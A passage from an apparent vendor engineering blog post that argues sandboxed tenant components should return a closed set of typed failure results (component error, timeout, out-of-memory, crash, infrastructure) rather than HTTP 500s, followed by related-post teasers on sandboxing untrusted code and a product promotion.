A typed result, never a 500, for four of the five failure modes. Make the set closed and name the members. component_error: the component threw, and the renderer serialised name, message and a stack with your frames and absolute guest paths stripped out — return that to the tenant in their editor, because it is their code and they are entitled to the trace. timeout: the guest-side `timeout` fired, which coreutils reports as exit 124, or 137 if it needed the SIGKILL. out_of_memory: exit 134, V8's fatal heap error, not catchable in-process, which is precisely why the render process is disposable. crashed: anything else — a native segfault, an abort(), a module that called process.exit(7) — returned as truncated stderr. And infrastructure: the sandbox could not be created, the host was unreachable, the exec transport failed. That last one is yours; retry it, count it against your own SLO, page on it. The default behaviour is to let a component's exception propagate through your handler into a 500, which charges a customer's Friday-afternoon typo against your availability number and buries real incidents in the noise. The typed version is also a better product: "your component threw TypeError at line 14" is actionable, and "500 Internal Server Error" is a support ticket.

Keep reading

Related posts

  • Sandboxing User-Written Webhook Transformations

    Somebody added a textarea labeled 'Transform (optional)' and shipped it on a Thursday. Congratulations: you are a code-execution company now, and nobody told your threat model.

  • Per-Tenant MicroVM Isolation for PDF and Invoice Generation

    Handlebars, Jinja, LaTeX, headless Chrome — your invoice template engine is a scripting language you accidentally exposed to the internet. Render each tenant's template in its own disposable microVM.

  • How to Vet a Code Execution Vendor's Security

    If your AI agent runs model-generated code, you've outsourced a security boundary. Here are the questions worth asking a vendor, why SOC 2 answers almost none of them, and what the honest answers sound like.

  • A Regex Is Untrusted Code That Does Not Look Like Code

    Nobody reviews a regex in a form field as code. But a nested quantifier on a backtracking engine is a denial-of-service primitive with a one-line source file — and the attack payload is usually a badly-typed email address, not a pattern.

  • Running Customer Git Hooks in Isolated microVMs

    A git hook is a shell script your user wrote that your server agreed to run. The exploit is not the scary part — the scary part is a policy hook that greps a 4 GB monorepo on every push and takes the whole push queue with it.

More in Code execution · See Code interpreter sandboxes on PandaStack

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.